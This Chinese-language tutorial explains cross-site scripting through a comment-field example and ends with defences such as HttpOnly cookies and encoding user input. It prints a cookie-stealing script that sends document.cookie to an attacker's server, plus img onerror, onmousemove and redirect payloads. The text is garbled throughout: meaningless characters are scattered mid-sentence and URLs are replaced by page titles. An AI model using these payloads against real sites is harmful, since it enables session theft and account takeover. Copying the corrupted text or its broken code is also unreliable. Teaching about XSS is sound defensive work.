XSS全稱Cross Site Scripting,不叫css是為了和樣式表區(qū)分開地回,其核心原理就是在目標網(wǎng)頁中執(zhí)行惡意的 js 代碼。
舉個常見例子: A 網(wǎng)站有個用戶評論的功能沛申,假設(shè) A 網(wǎng)站未做任何預(yù)防XSS的措施郁岩,攻擊者可以通過輸入以下內(nèi)容:'
<script>
? ? const cookie = document.cookie;
? ? // ajax 將cookie發(fā)送到攻擊者自己的服務(wù)器(偽代碼)
? ? ajax('Attacker - The Domain Name Attacker.com is Now For Sale.', cookie);
</script>
A網(wǎng)站將該內(nèi)容保存到服務(wù)器并展示在前端頁面祝迂,這時用戶A剛好訪問該網(wǎng)頁的該評論頁面睦尽,用戶A的瀏覽器識別script,直接執(zhí)行scirpt中的代碼型雳,最終用戶A關(guān)于A網(wǎng)站的cookie全部被發(fā)送到了攻擊者的服務(wù)器上了当凡,恰巧A網(wǎng)站的登錄憑證都是放在cookie中的,攻擊者此時完全可以以用戶A的身份登錄A網(wǎng)站纠俭。
XSS的攻擊方式
除了上面提到的script方式沿量,還有<img onerror />之類的也可以利用,如:
// 利用img的onerror中可以執(zhí)行腳本
<img src='' onerror='alert("hey!")'>
// 鼠標只要在該標簽上移動就會執(zhí)行
<a onmousemove='do something here'>
<div onmousemove=do something here'>
XSS的攻擊意圖
竊取目標網(wǎng)頁中的cookie值
可通過服務(wù)端設(shè)置cookie為http only(需要瀏覽器支持冤荆,畢竟cookie的所有權(quán)屬于瀏覽器)朴则。
劫持流量實現(xiàn)惡意跳轉(zhuǎn)
插入類似如下代碼:
<script>window.location.href="百度一下,你就知道";</script>
相當于偷目標網(wǎng)站的流量钓简。
防范手段
過濾<script>乌妒、<img>、<a>等標簽
對用戶上傳的內(nèi)容進行轉(zhuǎn)換編碼外邓,這樣做瀏覽器是不會對該標簽進行解釋執(zhí)行的撤蚊,同時也不影響顯示效果。